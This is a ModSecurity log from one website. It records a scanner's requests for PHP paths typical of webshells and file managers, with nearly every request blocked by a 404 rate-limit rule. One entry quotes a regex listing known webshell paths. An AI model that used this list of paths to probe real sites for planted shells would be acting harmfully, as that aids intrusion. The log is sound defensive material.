[Mon Apr 06 01:45:52.423496 2026] [:error] [pid 51584:tid 51707] [client 172.213.161.161:50675] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "adKf0MZ4qY_GoNCPARAvSwAAAMo"]
[Mon Apr 06 01:45:53.720964 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:9596] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "adKf0a3pmp1JkaicYbuROwAAAQY"]
[Mon Apr 06 01:45:55.426779 2026] [:error] [pid 51753:tid 51829] [client 172.213.161.161:17066] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "adKf063pmp1JkaicYbuRRwAAARI"]
[Mon Apr 06 01:45:56.749901 2026] [:error] [pid 51753:tid 51829] [client 172.213.161.161:20554] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "adKf1K3pmp1JkaicYbuRUQAAARI"]
[Mon Apr 06 01:45:57.562435 2026] [:error] [pid 51584:tid 51719] [client 172.213.161.161:50643] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "adKf1cZ4qY_GoNCPARAvVAAAANY"]
[Mon Apr 06 01:45:58.112444 2026] [:error] [pid 51580:tid 51649] [client 172.213.161.161:24589] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "adKf1lNFl1NiyNgNZAk87QAAAEo"]
[Mon Apr 06 01:45:58.735642 2026] [:error] [pid 51581:tid 51684] [client 172.213.161.161:20550] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "adKf1t4k74fhQLPUy7FKqgAAAI8"]
[Mon Apr 06 01:45:59.466793 2026] [:error] [pid 51753:tid 51830] [client 172.213.161.161:9498] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "adKf163pmp1JkaicYbuRVAAAARM"]
[Mon Apr 06 01:46:00.143461 2026] [:error] [pid 51753:tid 51822] [client 172.213.161.161:9474] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "adKf2K3pmp1JkaicYbuRVgAAAQs"]
[Mon Apr 06 01:46:00.965328 2026] [:error] [pid 51580:tid 51652] [client 172.213.161.161:34162] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "adKf2FNFl1NiyNgNZAk9BAAAAE0"]
[Mon Apr 06 01:46:01.738550 2026] [:error] [pid 51753:tid 51815] [client 172.213.161.161:64275] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "adKf2a3pmp1JkaicYbuRWgAAAQQ"]
[Mon Apr 06 01:46:02.511138 2026] [:error] [pid 51580:tid 51651] [client 172.213.161.161:10004] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "adKf2lNFl1NiyNgNZAk9EgAAAEw"]
[Mon Apr 06 01:46:05.054273 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:42816] [client 172.213.161.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adKf3a3pmp1JkaicYbuRbwAAARY"]
[Mon Apr 06 01:46:59.182375 2026] [:error] [pid 51584:tid 51699] [client 172.213.161.161:29200] [client 172.213.161.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "adKgE8Z4qY_GoNCPARAwJAAAAMI"]
[Mon Apr 06 01:47:01.968303 2026] [:error] [pid 51581:tid 51684] [client 172.213.161.161:41258] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "adKgFd4k74fhQLPUy7FLOgAAAI8"]
[Mon Apr 06 01:47:02.637659 2026] [:error] [pid 51753:tid 51830] [client 172.213.161.161:16623] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "adKgFq3pmp1JkaicYbuSkAAAARM"]
[Mon Apr 06 01:47:04.263567 2026] [:error] [pid 51753:tid 51819] [client 172.213.161.161:16617] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "adKgGK3pmp1JkaicYbuSnwAAAQg"]
[Mon Apr 06 01:47:04.823806 2026] [:error] [pid 51753:tid 51828] [client 172.213.161.161:29208] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "adKgGK3pmp1JkaicYbuSowAAARE"]
[Mon Apr 06 01:47:05.367290 2026] [:error] [pid 51584:tid 51706] [client 172.213.161.161:34132] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "adKgGcZ4qY_GoNCPARAwLQAAAMk"]
[Mon Apr 06 01:47:06.052293 2026] [:error] [pid 51753:tid 51827] [client 172.213.161.161:26497] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "adKgGq3pmp1JkaicYbuSqwAAARA"]
[Mon Apr 06 01:47:06.765317 2026] [:error] [pid 51580:tid 51653] [client 172.213.161.161:41242] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "adKgGlNFl1NiyNgNZAk97gAAAE4"]
[Mon Apr 06 01:47:07.364334 2026] [:error] [pid 51580:tid 51661] [client 172.213.161.161:2440] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/33.php"] [unique_id "adKgG1NFl1NiyNgNZAk98wAAAFY"]
[Mon Apr 06 01:47:08.052898 2026] [:error] [pid 51580:tid 51643] [client 172.213.161.161:16126] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adKgHFNFl1NiyNgNZAk99gAAAEQ"]
[Mon Apr 06 01:47:08.566572 2026] [:error] [pid 51584:tid 51710] [client 172.213.161.161:16066] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adKgHMZ4qY_GoNCPARAwOQAAAM0"]
[Mon Apr 06 01:47:09.060339 2026] [:error] [pid 51584:tid 51697] [client 172.213.161.161:2202] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adKgHcZ4qY_GoNCPARAwOwAAAMA"]
[Mon Apr 06 01:47:09.748682 2026] [:error] [pid 51580:tid 51658] [client 172.213.161.161:24680] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adKgHVNFl1NiyNgNZAk9_gAAAFM"]
[Mon Apr 06 01:47:10.401940 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:24265] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "adKgHq3pmp1JkaicYbuSwwAAAQE"]
[Mon Apr 06 01:47:10.929418 2026] [:error] [pid 51753:tid 51829] [client 172.213.161.161:16119] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "adKgHq3pmp1JkaicYbuSxwAAARI"]
[Mon Apr 06 01:47:11.702844 2026] [:error] [pid 51584:tid 51700] [client 172.213.161.161:29212] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "adKgH8Z4qY_GoNCPARAwTgAAAMM"]
[Mon Apr 06 01:47:12.279940 2026] [:error] [pid 51581:tid 51682] [client 172.213.161.161:26528] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "adKgIN4k74fhQLPUy7FLSQAAAI0"]
[Mon Apr 06 01:47:12.868309 2026] [:error] [pid 51584:tid 51698] [client 172.213.161.161:24298] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adKgIMZ4qY_GoNCPARAwVwAAAME"]
[Mon Apr 06 01:47:13.658780 2026] [:error] [pid 51581:tid 51677] [client 172.213.161.161:18594] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adKgId4k74fhQLPUy7FLTgAAAIg"]
[Mon Apr 06 01:47:14.265025 2026] [:error] [pid 51584:tid 51704] [client 172.213.161.161:23695] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adKgIsZ4qY_GoNCPARAwXwAAAMc"]
[Mon Apr 06 01:47:14.759222 2026] [:error] [pid 51580:tid 51641] [client 172.213.161.161:2879] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "adKgIlNFl1NiyNgNZAk-EQAAAEI"]
[Mon Apr 06 01:47:15.441018 2026] [:error] [pid 51584:tid 51720] [client 172.213.161.161:18604] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "adKgI8Z4qY_GoNCPARAwZQAAANc"]
[Mon Apr 06 01:47:15.991836 2026] [:error] [pid 51581:tid 51685] [client 172.213.161.161:12672] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "adKgI94k74fhQLPUy7FLUgAAAJA"]
[Mon Apr 06 01:47:16.463852 2026] [:error] [pid 51581:tid 51691] [client 172.213.161.161:28782] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "adKgJN4k74fhQLPUy7FLUwAAAJU"]
[Mon Apr 06 01:47:17.087225 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:18588] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "adKgJa3pmp1JkaicYbuS1wAAARg"]
[Mon Apr 06 01:47:17.569622 2026] [:error] [pid 51584:tid 51703] [client 172.213.161.161:18560] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "adKgJcZ4qY_GoNCPARAwaQAAAMY"]
[Mon Apr 06 01:47:18.091594 2026] [:error] [pid 51581:tid 51688] [client 172.213.161.161:16521] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "adKgJt4k74fhQLPUy7FLWAAAAJM"]
[Mon Apr 06 01:47:18.809462 2026] [:error] [pid 51753:tid 51813] [client 172.213.161.161:16531] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "adKgJq3pmp1JkaicYbuS3gAAAQI"]
[Mon Apr 06 01:47:19.520134 2026] [:error] [pid 51584:tid 51717] [client 172.213.161.161:28751] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "adKgJ8Z4qY_GoNCPARAwbgAAANQ"]
[Mon Apr 06 01:47:20.007639 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:12732] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "adKgKK3pmp1JkaicYbuS6AAAARg"]
[Mon Apr 06 01:47:20.681452 2026] [:error] [pid 51581:tid 51683] [client 172.213.161.161:16528] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "adKgKN4k74fhQLPUy7FLXQAAAI4"]
[Mon Apr 06 01:47:21.371453 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:2056] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "adKgKa3pmp1JkaicYbuS9AAAAQ0"]
[Mon Apr 06 01:47:22.108830 2026] [:error] [pid 51753:tid 51814] [client 172.213.161.161:2824] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "adKgKq3pmp1JkaicYbuS-wAAAQM"]
[Mon Apr 06 01:47:22.870895 2026] [:error] [pid 51581:tid 51687] [client 172.213.161.161:16031] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adKgKt4k74fhQLPUy7FLYwAAAJI"]
[Mon Apr 06 01:47:23.802536 2026] [:error] [pid 51580:tid 51648] [client 172.213.161.161:23705] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adKgK1NFl1NiyNgNZAk-MQAAAEk"]
[Mon Apr 06 01:47:24.564109 2026] [:error] [pid 51753:tid 51828] [client 172.213.161.161:24269] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adKgLK3pmp1JkaicYbuTEQAAARE"]
[Mon Apr 06 01:47:25.392302 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:34461] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adKgLa3pmp1JkaicYbuTGAAAARY"]
[Mon Apr 06 01:47:26.131402 2026] [:error] [pid 51753:tid 51814] [client 172.213.161.161:16007] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "adKgLq3pmp1JkaicYbuTHgAAAQM"]
[Mon Apr 06 01:47:27.005382 2026] [:error] [pid 51581:tid 51693] [client 172.213.161.161:25402] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "adKgL94k74fhQLPUy7FLbQAAAJc"]
[Mon Apr 06 01:47:27.822319 2026] [:error] [pid 51580:tid 51655] [client 172.213.161.161:18662] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "adKgL1NFl1NiyNgNZAk-OwAAAFA"]
[Mon Apr 06 01:47:28.631632 2026] [:error] [pid 51753:tid 51832] [client 172.213.161.161:10272] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "adKgMK3pmp1JkaicYbuTIgAAARU"]
[Mon Apr 06 01:47:29.252973 2026] [:error] [pid 51580:tid 51640] [client 172.213.161.161:16035] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adKgMVNFl1NiyNgNZAk-QAAAAEE"]
